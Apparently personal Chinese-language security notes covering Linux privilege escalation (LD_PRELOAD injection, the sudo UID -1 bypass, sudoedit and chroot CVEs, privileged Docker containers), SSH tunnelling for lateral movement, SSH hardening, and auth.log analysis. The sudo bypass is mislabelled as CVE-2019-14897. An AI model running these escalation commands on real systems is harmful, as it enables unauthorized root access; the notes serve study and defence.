sudo LD_PRELOAD=/home/cain/inject.so /usr/sbin/apache2
https://forum.butian.net/share/1493
sudo <= 1.8.27(CVE-2019-14897)
sudo -V
当我们传递一个 UID 为 -1 时,sudo 会感到困惑。
因为 UID -1 并不存在,该程序会自动使用下一个存在的 UID,即“0”或最终的 root。
sudo -u#-1 /bin/bash
1.8.0 <= sudo <= 1.9.12p1(CVE-2023-22809)
Sudo 中的 sudoedit 对处理用户提供的环境变量(如 SUDO_EDITOR、VISUAL 和 EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过 sudoers 策略的“–”参数时,拥有 sudoedit 访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test
1.9.14 <= sudo <= 1.9.17 chroot本地提权漏洞(CVE-2025-32463)
1.9.14 <= sudo <= 1.9.17
https://forum.butian.net/article/766
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/tree/main
定时任务提权
Docker 提权
特权容器、挂载宿主机目录
docker run --rm --privileged ubuntu /bin/bash
https://forum.butian.net/share/2638
参考资料
- https://gtfobins.github.io/
- https://juggernaut-sec.com/sudo-part-1-lpe/
- https://juggernaut-sec.com/sudo-part-2-lpe/
横向渗透
隧道技术或代理技术涉及创建一条路径,通过被攻击的主机来路由所需的网络流量,将一种网络协议封装在另一种协议内。各种协议(如 HTTP、SSH 、DNS或自定义代理)可以将流量引导到目标网络。这种技术使渗透测试人员能够在受限的网络环境中安全地传输数据。可以将其比作在防火墙中建立一条秘密通道,以访问内部系统。
端口转发
隧道(Tunneling)指的是将网络上的 A、B 两个端点通过某种方式连接起来,形成一个“隧道”,使得两端的通信能够穿透某些限制(例如防火墙),或将通信内容加密以避免泄漏。

SSH 隧道
SSH 协议创建一个安全的网络隧道,用户可以访问本地防火墙后面的服务,如数据库或私有网络中的 Web 应用。主要内容包括三种端口转发模式:本地端口转发、远程端口转发和动态端口转发。
AllowTcpForwarding 是 OpenSSH 服务器 (sshd_config) 中的一个配置选项,决定是否允许 TCP 转发(SSH 隧道)。各配置选项包括 yes(允许所有转发)、no(禁止转发)、local(仅允许本地转发)、remote(仅允许远程转发)。
https://iximiuz.com/en/posts/ssh-tunnels/
for i in $(seq 254); do ping 10.1.2.${i} -c1 -W1 8 & done | grep from
本地端口转发(ssh -L)允许用户将 SSH 客户端的端口映射到远程服务器的端口。
ssh -fNC -L [bind_address]:local_port:target_host:target_port user@ssh_server
ssh -i $HOME/.ssh/id_iximiuz_lab -o StrictHostKeyChecking=no
user@ssh_server
ssh -fNC -L 8834:localhost:8834 rbt
参数说明:
-f:在连接建立后将 SSH 会话放入后台。-N:告知 SSH 不要在远程服务器上执行任何命令。-C:为 SSH 隧道启用压缩。bind_address,默认 Bind 在 localhost 上。如果你想把 Port 9090 开放给所有人用:ssh -L 0.0.0.0:9090:localhost:8080 johnliu@my-serverlocal_port:您本地计算机上要监听的端口。target_host:您要访问的远程计算机。target_port:远程主机上服务运行的端口。user:您的 SSH 用户名。ssh_server:SSH 服务器(例如,服务器的主机 IP)。
python3 -m http.server 8080
ssh -fNC -o StrictHostKeyChecking=no -L 8080:localhost:8080 bob@127.0.0.1 -p 2222
ssh -fNC -o StrictHostKeyChecking=no -L 8080:192.168.200.4:8080 bob@127.0.0.1 -p 2222
远程端口转发(ssh -R)则使本地服务可以通过 SSH 服务器向外界公开。
SSH 服务器需要配置 GatewayPorts yes 设置
ssh -R [remote_addr:]remote_port:local_addr:local_port [user@]gateway_addr
端口映射
浏览器 安装扩展FoxyProxy
Proxychains 配置
参考资料
安全加固
SSH
配置文件 /etc/ssh/sshd_config
- ssh.socket(systemd socket unit)
- 负责“监听端口/地址”。当有连接到来时,systemd 才按需启动 ssh.service。
- 属于按需(on-demand)激活的机制:空闲时不占用一个常驻的守护进程。
$ systemctl status ssh.socket
● ssh.socket - OpenBSD Secure Shell server socket
Loaded: loaded (]8;;file://serverx/usr/lib/systemd/system/ssh.socket/usr/lib/systemd/system/ssh.socket]8;;; enabled; preset: enabled)
Drop-In: /run/systemd/generator/ssh.socket.d
└─]8;;file://serverx/run/systemd/generator/ssh.socket.d/addresses.confaddresses.conf]8;;
Active: active (running) since Wed 2025-08-20 07:29:48 CST; 5min ago
Triggers: ● ssh.service
Listen: [::]:2222 (Stream)
Tasks: 0 (limit: 1857)
Memory: 8.0K (peak: 256.0K)
CPU: 865us
CGroup: /system.slice/ssh.socket
Aug 20 07:29:48 serverx systemd[1]: Listening on ssh.socket - OpenBSD Secure Shell server socket.
- ssh.service(systemd service unit)
- 负责运行 sshd 进程(OpenSSH 守护进程),处理实际的 SSH 会话与认证。
- 在未使用 socket 激活时,它会常驻监听端口;使用 socket 激活时,它由 ssh.socket 触发启动。
$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (]8;;file://serverx/usr/lib/systemd/system/ssh.service/usr/lib/systemd/system/ssh.service]8;;; disabled; preset: enabled)
Active: active (running) since Wed 2025-08-20 07:29:48 CST; 8min ago
TriggeredBy: ● ssh.socket
Docs: ]8;;man:sshd(8)man:sshd(8)]8;;
]8;;man:sshd_config(5)man:sshd_config(5)]8;;
Process: 96667 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 96669 (sshd)
Tasks: 1 (limit: 1857)
Memory: 1.2M (peak: 1.5M)
CPU: 39ms
CGroup: /system.slice/ssh.service
└─96669 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
Aug 20 07:29:48 serverx systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Aug 20 07:29:48 serverx sshd[96669]: Server listening on :: port 2222.
Aug 20 07:29:48 serverx systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
- 修改默认端口
默认端口为 22,比如修改为2222
# When systemd socket activation is used (the default), the socket
# configuration must be re-generated after changing Port, AddressFamily, or
# ListenAddress.
#
# For changes to take effect, run:
#
# systemctl daemon-reload
# systemctl restart ssh.socket
#
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
配置生效,需要加载配置并重启服务
sudo systemctl daemon-reload
sudo systemctl restart ssh.socket
- 禁用 root 用户登录
禁止通过 SSH 直接以 root 登录,以降低未授权访问的风险。相反,创建具有 sudo 权限的标准用户账户来执行管理任务。这种做法可缓解针对 root 账户的暴力破解攻击。
sudo adduser <username>
sudo usermod -aG sudo <username>
PermitRootLogin no
sudo systemctl reload sshd
- 限制身份验证最大尝试次数
Fail2ban
Fail2ban 是一个基于日志的入侵防护工具,常用于阻止暴力破解(如 SSH、FTP、HTTP 基本认证等)。
工作原理:监控服务日志 → 匹配失败模式(filter)→ 触发封禁动作(action),通常通过 iptables/nftables 临时封 IP。
# 安装
sudo apt update
sudo apt install fail2ban
# 启动并开机自启
sudo systemctl enable --now fail2ban
# 查看状态与日志
systemctl status fail2ban
sudo journalctl -u fail2ban -f
sudo fail2ban-client status
sudo fail2ban-client get sshd bantime
sudo fail2ban-client get sshd findtime
sudo fail2ban-client get sshd maxretry
应急响应
Linux 入侵检测
日志分析
Debian/Ubuntu 系列通常为 /var/log/auth.log;RHEL/CentOS/AlmaLinux 等用 /var/log/secure。
记录认证与授权相关事件,包括 SSH 登录/断开、sudo 提权、su 切换用户、PAM 模块认证、polkit、sshd 密钥交换、失败的登录尝试、账户锁定等。
sshd
SSH 登录、会话开启/关闭、密钥/密码认证结果、来源 IP、端口、指纹等
- PAM(pam_unix、pam_sss 等):实际的认证决策与会话状态。
- systemd-logind:为登录用户分配/结束会话(New session X...)
登录失败
- 用户名存在
# 来自 IP 8.213.197.49 的一个 SSH 连接在 PAM 认证阶段失败。目标账户为 root。
2025-08-19T22:23:44.586422+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94607]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=8.213.197.49 user=root
# 同一连接(同一 PID 94607)尝试使用密码登录 root 账户失败。来源端口 47952,协议 SSH-2。
2025-08-19T22:23:46.761981+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94607]: Failed password for root from 8.213.197.49 port 47952 ssh2
- 用户名不存在
2025-08-19T22:12:02.144945+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94561]: Invalid user dev from 8.213.197.49 port 41346
2025-08-19T22:12:02.148697+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94561]: pam_unix(sshd:auth): check pass; user unknown
2025-08-19T22:12:02.148950+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94561]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=8.213.197.49
2025-08-19T22:12:04.283899+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94561]: Failed password for invalid user dev from 8.213.197.49 port 41346 ssh2
登录成功
# 来自 171.15.198.167 的客户端,使用密码方式成功登录了用户 test。表示密码被接受(成功认证)。
2025-08-19T22:49:03.719968+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94837]: Accepted password for test from 171.15.198.167 port 60142 ssh2
# PAM 会话模块记录:为用户 test 打开了一个 SSH 会话。uid=1001 是该用户的系统 UID。
# “by test(uid=0)” 是 PAM 的固定表述,表示由具有 root 权限的 sshd 进程建立了会话,不是 test 拥有 root 权限。
2025-08-19T22:49:03.722942+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94837]: pam_unix(sshd:session): session opened for user test(uid=1001) by test(uid=0)
# systemd-logind 分配了会话号 4993,标记一个新的登录会话开始。
2025-08-19T22:49:03.737178+08:00 iZbp1fvwegwglrx4q0etvfZ systemd-logind[809]: New session 4993 of user test.
# 为该用户的用户级 systemd 实例开启了会话(user@UID 的 systemd)。
2025-08-19T22:49:03.807053+08:00 iZbp1fvwegwglrx4q0etvfZ (systemd): pam_unix(systemd-user:session): session opened for user test(uid=1001) by test(uid=0)
# 客户端主动断开连接(原因码 11),仍是同一源 IP/端口。
2025-08-19T22:49:32.811731+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94909]: Received disconnect from 171.15.198.167 port 60142:11: disconnected by user
# 连接断开,标注关联的用户名与来源。
2025-08-19T22:49:32.812708+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94909]: Disconnected from user test 171.15.198.167 port 60142
# SSH 会话关闭。
2025-08-19T22:49:32.815225+08:00 iZbp1fvwegwglrx4q0etvfZ sshd[94837]: pam_unix(sshd:session): session closed for user test
# 会话注销,清理完成。
2025-08-19T22:49:32.823649+08:00 iZbp1fvwegwglrx4q0etvfZ systemd-logind[809]: Session 4993 logged out. Waiting for processes to exit.
2025-08-19T22:49:32.827693+08:00 iZbp1fvwegwglrx4q0etvfZ systemd-logind[809]: Removed session 4993.
sudo
执行 sudo 命令的用户、目标用户、命令内容、是否授权成功。
2025-08-19T22:55:33.669093+08:00 iZbp1fvwegwglrx4q0etvfZ sudo: ecs-user : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/whoami
2025-08-19T22:55:33.675232+08:00 iZbp1fvwegwglrx4q0etvfZ sudo: pam_unix(sudo:session): session opened for user root(uid=0) by ecs-user(uid=1000)
2025-08-19T22:55:33.679733+08:00 iZbp1fvwegwglrx4q0etvfZ sudo: pam_unix(sudo:session): session closed for user root
CRON
计划任务触发时的会话开启/关闭(pam_unix(cron:session))。
- su、login、polkitd、gdm 等:本地/图形/策略授权相关事件。
wtmp 日志
wtmp 是 Linux/Unix 系统用于记录登录、登出、系统启动/关机、runlevel 变化等“会话级”事件的二进制日志文件。 它保存“交互式终端会话”的生命周期信息,常被用来还原谁在何时何地登录了系统,以及会话持续多久。